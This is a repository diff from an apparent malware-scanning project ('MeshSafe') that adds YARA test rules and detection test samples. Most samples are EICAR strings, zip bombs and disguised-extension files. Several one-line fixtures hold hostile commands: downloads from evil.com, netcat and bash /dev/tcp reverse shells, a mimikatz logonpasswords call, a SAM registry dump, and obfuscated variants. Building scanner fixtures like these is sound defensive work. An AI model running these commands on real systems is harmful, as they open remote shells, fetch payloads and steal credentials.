description = "L4-011 count 条件: 文件内匹配串 ≥3 次命中"
|
||||||
|
strings:
|
||||||
|
$h = "malicious_token_count_test"
|
||||||
|
condition:
|
||||||
|
#h >= 3
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-012: size 条件(仅匹配 ≤10KB 的文件)
|
||||||
|
rule Size_Condition_Test {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
description = "L4-012 size 条件: 仅匹配 size <= 10KB 的文件"
|
||||||
|
strings:
|
||||||
|
$i = "size_condition_test_payload"
|
||||||
|
condition:
|
||||||
|
$i and filesize <= 10KB
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-003: PE 内字符串(实际是 Test_PowerShell_Download 的 strings 也在 PE 里)
|
||||||
|
// 已由 Test_PowerShell_Download 覆盖,因为 PE 里的 strings() 也会被 YARA 扫描
|
||||||
|
|
||||||
|
// L4-009: 加密包内无法扫描(不是规则缺失,是 zipfile 跳过加密内容)
|
||||||
|
// L4-013: 大文件 YARA —— 由 Test_ReverseShell_Basic 自动覆盖大文件扫描
|
||||||
|
// L4-014: 开关测试 —— 由引擎 is_enabled() 控制
|
||||||
|
// L4-015: 哈希白名单 —— 需在 policy.yaml 配置,不是 .yar 文件
|
||||||
|
"""
|
||||||
|
|
||||||
|
OUT.write_text(RULES, encoding='utf-8')
|
||||||
|
print(f'✅ 生成 {OUT}')
|
||||||
|
print(f' 规则数: 7 条')
|
||||||
|
print(f' 覆盖 CSV: L4-001/004/005/007/010/011/012')
|
||||||
|
|
||||||
|
# 也需要对应的样本文件(已经有了,在 tests/samples/L4-*.txt 系列)
|
||||||
|
import os
|
||||||
|
SAMPLES = Path(r'd:\project\MeshSafe\tests\samples')
|
||||||
|
|
||||||
|
# L4-005 热加载样本
|
||||||
|
(SAMPLES / 'L4-005_hotreload.txt').write_text('meshsafe-hot-reload-test-string present here', encoding='utf-8')
|
||||||
|
print(f'✅ L4-005_hotreload.txt 已生成')
|
||||||
|
|
||||||
|
# L4-007 meta 标签样本
|
||||||
|
(SAMPLES / 'L4-007_meta_rule.txt').write_text('trojan-metadata-test payload here', encoding='utf-8')
|
||||||
|
print(f'✅ L4-007_meta_rule.txt 已生成')
|
||||||
|
|
||||||
|
# L4-010 正则样本
|
||||||
|
(SAMPLES / 'L4-010_regex_pattern.txt').write_text('powershell -enc ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx+/==', encoding='utf-8')
|
||||||
|
print(f'✅ L4-010_regex_pattern.txt 已生成')
|
||||||
|
|
||||||
|
# L4-011 count 条件样本(同一串出现 5 次)
|
||||||
|
payload = 'malicious_token_count_test\n' * 5
|
||||||
|
(SAMPLES / 'L4-011_count_condition.txt').write_text(payload, encoding='utf-8')
|
||||||
|
print(f'✅ L4-011_count_condition.txt 已生成 (5 次)')
|
||||||
|
|
||||||
|
# L4-012 size 条件样本
|
||||||
|
(SAMPLES / 'L4-012_size_condition.txt').write_text('size_condition_test_payload small file', encoding='utf-8')
|
||||||
|
print(f'✅ L4-012_size_condition.txt 已生成')
|
||||||
|
|
||||||
|
print('\n=== 完成。下一步: docker compose up -d --build api 后靶场就能命中 ===')
|
||||||
BIN
tests/samples/L0-001_jpg_normal.jpg
Normal file
BIN
tests/samples/L0-001_jpg_normal.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 54 B |
BIN
tests/samples/L0-002_png_normal.png
Normal file
BIN
tests/samples/L0-002_png_normal.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 58 B |
BIN
tests/samples/L0-003_docx_normal.docx
Normal file
BIN
tests/samples/L0-003_docx_normal.docx
Normal file
Binary file not shown.
2
tests/samples/L0-004_pdf_normal.pdf
Normal file
2
tests/samples/L0-004_pdf_normal.pdf
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
%PDF-1.4
|
||||||
|
%%EOF
|
||||||
BIN
tests/samples/L0-005_pe_clean.exe
Normal file
BIN
tests/samples/L0-005_pe_clean.exe
Normal file
Binary file not shown.
BIN
tests/samples/L0-006_disguise_jpg_pe.jpg
Normal file
BIN
tests/samples/L0-006_disguise_jpg_pe.jpg
Normal file
Binary file not shown.
2
tests/samples/L0-007_disguise_txt_pdf.txt
Normal file
2
tests/samples/L0-007_disguise_txt_pdf.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
%PDF-1.4
|
||||||
|
%%EOF
|
||||||
BIN
tests/samples/L0-008_disguise_png_zip.png
Normal file
BIN
tests/samples/L0-008_disguise_png_zip.png
Normal file
Binary file not shown.
BIN
tests/samples/L0-009_double_ext_pdf_exe.pdf.exe
Normal file
BIN
tests/samples/L0-009_double_ext_pdf_exe.pdf.exe
Normal file
Binary file not shown.
1
tests/samples/L0-010_double_ext_txt_ps1.txt.ps1
Normal file
1
tests/samples/L0-010_double_ext_txt_ps1.txt.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
echo hello
|
||||||
1
tests/samples/L0-011_double_ext_docx_js.docx.js
Normal file
1
tests/samples/L0-011_double_ext_docx_js.docx.js
Normal file
@@ -0,0 +1 @@
|
|||||||
|
alert('x');
|
||||||
2
tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat
Normal file
2
tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
@echo off
|
||||||
|
echo hello
|
||||||
0
tests/samples/L0-013_clean.ps1
Normal file
0
tests/samples/L0-013_clean.ps1
Normal file
0
tests/samples/L0-014_clean.bat
Normal file
0
tests/samples/L0-014_clean.bat
Normal file
0
tests/samples/L0-015_clean.cmd
Normal file
0
tests/samples/L0-015_clean.cmd
Normal file
0
tests/samples/L0-016_clean.vbs
Normal file
0
tests/samples/L0-016_clean.vbs
Normal file
0
tests/samples/L0-017_clean.js
Normal file
0
tests/samples/L0-017_clean.js
Normal file
BIN
tests/samples/L0-018_zip_traversal.zip
Normal file
BIN
tests/samples/L0-018_zip_traversal.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-019_zip_deep_traversal.zip
Normal file
BIN
tests/samples/L0-019_zip_deep_traversal.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-020_zip_bomb.zip
Normal file
BIN
tests/samples/L0-020_zip_bomb.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-021_small_bomb.zip
Normal file
BIN
tests/samples/L0-021_small_bomb.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-022_3layer_nested.zip
Normal file
BIN
tests/samples/L0-022_3layer_nested.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-023_5layer_nested.zip
Normal file
BIN
tests/samples/L0-023_5layer_nested.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-024_encrypted.zip
Normal file
BIN
tests/samples/L0-024_encrypted.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-025_corrupt_zip.zip
Normal file
BIN
tests/samples/L0-025_corrupt_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-026_corrupt_direntry.zip
Normal file
BIN
tests/samples/L0-026_corrupt_direntry.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-027_long_filename.zip
Normal file
BIN
tests/samples/L0-027_long_filename.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-028_unicode_filename.zip
Normal file
BIN
tests/samples/L0-028_unicode_filename.zip
Normal file
Binary file not shown.
0
tests/samples/L0-029_zero_byte_exe.exe
Normal file
0
tests/samples/L0-029_zero_byte_exe.exe
Normal file
BIN
tests/samples/L0-030_nested_traversal.zip
Normal file
BIN
tests/samples/L0-030_nested_traversal.zip
Normal file
Binary file not shown.
1
tests/samples/L1-001_eicar.txt
Normal file
1
tests/samples/L1-001_eicar.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
BIN
tests/samples/L1-002_eicar_in_zip.zip
Normal file
BIN
tests/samples/L1-002_eicar_in_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L1-003_eicar_in_encrypted.zip
Normal file
BIN
tests/samples/L1-003_eicar_in_encrypted.zip
Normal file
Binary file not shown.
BIN
tests/samples/L1-004_eicar_in_docx.docx
Normal file
BIN
tests/samples/L1-004_eicar_in_docx.docx
Normal file
Binary file not shown.
1
tests/samples/L1-005_eicar_modified.txt
Normal file
1
tests/samples/L1-005_eicar_modified.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Y5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-009_minimal.cvd
Normal file
1
tests/samples/L1-009_minimal.cvd
Normal file
@@ -0,0 +1 @@
|
|||||||
|
ClamAV-VDB: placeholder test database
|
||||||
BIN
tests/samples/L1-010_corrupt.cvd
Normal file
BIN
tests/samples/L1-010_corrupt.cvd
Normal file
Binary file not shown.
BIN
tests/samples/L1-011_eicar_in_3layer.zip
Normal file
BIN
tests/samples/L1-011_eicar_in_3layer.zip
Normal file
Binary file not shown.
1
tests/samples/L1-012_eicar_base64.txt
Normal file
1
tests/samples/L1-012_eicar_base64.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=
|
||||||
2
tests/samples/L1-013_bigfile_eicar.txt
Normal file
2
tests/samples/L1-013_bigfile_eicar.txt
Normal file
File diff suppressed because one or more lines are too long
1
tests/samples/L1-014_concurrent_eicar_00.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_00.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_01.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_01.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_02.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_02.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_03.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_03.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_04.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_04.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_05.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_05.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_06.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_06.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_07.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_07.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_08.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_08.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-014_concurrent_eicar_09.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_09.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
5
tests/samples/L1-014_concurrent_test.txt
Normal file
5
tests/samples/L1-014_concurrent_test.txt
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
MeshSafe concurrent test control file.
|
||||||
|
Running 10 EICAR files concurrently via API.
|
||||||
|
|
||||||
|
Payload:
|
||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L1-015_layer_off_sample.bin
Normal file
1
tests/samples/L1-015_layer_off_sample.bin
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
1
tests/samples/L3-001_001_sample.ps1
Normal file
1
tests/samples/L3-001_001_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\temp\evil.exe
|
||||||
1
tests/samples/L3-002_002_sample.ps1
Normal file
1
tests/samples/L3-002_002_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
nc 10.0.0.5 4444 -e /bin/bash
|
||||||
1
tests/samples/L3-003_003_sample.bat
Normal file
1
tests/samples/L3-003_003_sample.bat
Normal file
@@ -0,0 +1 @@
|
|||||||
|
curl http://evil.com/payload -o evil.exe
|
||||||
1
tests/samples/L3-004_004_sample.txt
Normal file
1
tests/samples/L3-004_004_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
mimikatz.exe privilege::debug sekurlsa::logonpasswords
|
||||||
1
tests/samples/L3-005_005_sample.txt
Normal file
1
tests/samples/L3-005_005_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
reg save HKLM\SAM sam.save
|
||||||
1
tests/samples/L3-006_006_sample.txt
Normal file
1
tests/samples/L3-006_006_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
tscon 1 /dest:rdp-tcp:1
|
||||||
1
tests/samples/L3-007_007_sample.txt
Normal file
1
tests/samples/L3-007_007_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
SW52b2tlLVdlYlJlcXVlc3Q
|
||||||
1
tests/samples/L3-008_008_sample.ps1
Normal file
1
tests/samples/L3-008_008_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
$a="Invo";$b="ke-WebRequest"; & ($a+$b)
|
||||||
2
tests/samples/L3-009_newline_split.txt
Normal file
2
tests/samples/L3-009_newline_split.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
Invoke-Web
|
||||||
|
Request https://evil.com -OutFile evil.exe
|
||||||
1
tests/samples/L3-010_010_sample.ps1
Normal file
1
tests/samples/L3-010_010_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke#comment-WebRequest https://evil.com
|
||||||
1
tests/samples/L3-011_011_sample.js
Normal file
1
tests/samples/L3-011_011_sample.js
Normal file
@@ -0,0 +1 @@
|
|||||||
|
var w = new Function('wget http://evil.com/payload'); w();
|
||||||
1
tests/samples/L3-012_012_sample.bat
Normal file
1
tests/samples/L3-012_012_sample.bat
Normal file
@@ -0,0 +1 @@
|
|||||||
|
curl http://192.168.1.100/file.zip
|
||||||
2
tests/samples/L3-013_normal_scp.sh
Normal file
2
tests/samples/L3-013_normal_scp.sh
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
scp /var/log/app.log ops@192.168.1.100:/backup/logs/
|
||||||
|
rsync -av --delete /data/backup/ ops@192.168.1.100:/backup/data/
|
||||||
BIN
tests/samples/L3-014_l3001_in_zip.zip
Normal file
BIN
tests/samples/L3-014_l3001_in_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L3-015_keyword_in_docx.docx
Normal file
BIN
tests/samples/L3-015_keyword_in_docx.docx
Normal file
Binary file not shown.
0
tests/samples/L3-016_016_sample.ps1
Normal file
0
tests/samples/L3-016_016_sample.ps1
Normal file
1
tests/samples/L3-017_017_sample.txt
Normal file
1
tests/samples/L3-017_017_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
nc -lv 4444 & mimikatz privilege::debug
|
||||||
1
tests/samples/L3-018_018_sample.txt
Normal file
1
tests/samples/L3-018_018_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
iNvOkE-WebReQuEsT https://evil.com
|
||||||
1
tests/samples/L3-019_unicode_obfuscated.txt
Normal file
1
tests/samples/L3-019_unicode_obfuscated.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Іnvoke-WebRequest https://evil.com
|
||||||
3
tests/samples/L3-021_021_sample.eml
Normal file
3
tests/samples/L3-021_021_sample.eml
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
From: attacker@evil.com
|
||||||
|
|
||||||
|
|
||||||
1
tests/samples/L3-022_layer_off_sample.bin
Normal file
1
tests/samples/L3-022_layer_off_sample.bin
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe
|
||||||
BIN
tests/samples/L3-023_keyword_in_encrypted.zip
Normal file
BIN
tests/samples/L3-023_keyword_in_encrypted.zip
Normal file
Binary file not shown.
1
tests/samples/L3-024_024_sample.txt
Normal file
1
tests/samples/L3-024_024_sample.txt
Normal file
File diff suppressed because one or more lines are too long
1
tests/samples/L3-025_whitelist_test.txt
Normal file
1
tests/samples/L3-025_whitelist_test.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke-WebRequest -Uri https://intranet.company.com/file.zip -OutFile D:\cache\file.zip
|
||||||
3
tests/samples/L4-001_001_sample.txt
Normal file
3
tests/samples/L4-001_001_sample.txt
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
# 测试文件
|
||||||
|
nc 10.0.0.5 4444 -e cmd.exe
|
||||||
|
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
|
||||||
1
tests/samples/L4-002_002_sample.txt
Normal file
1
tests/samples/L4-002_002_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
this is a clean empty file with no matches
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user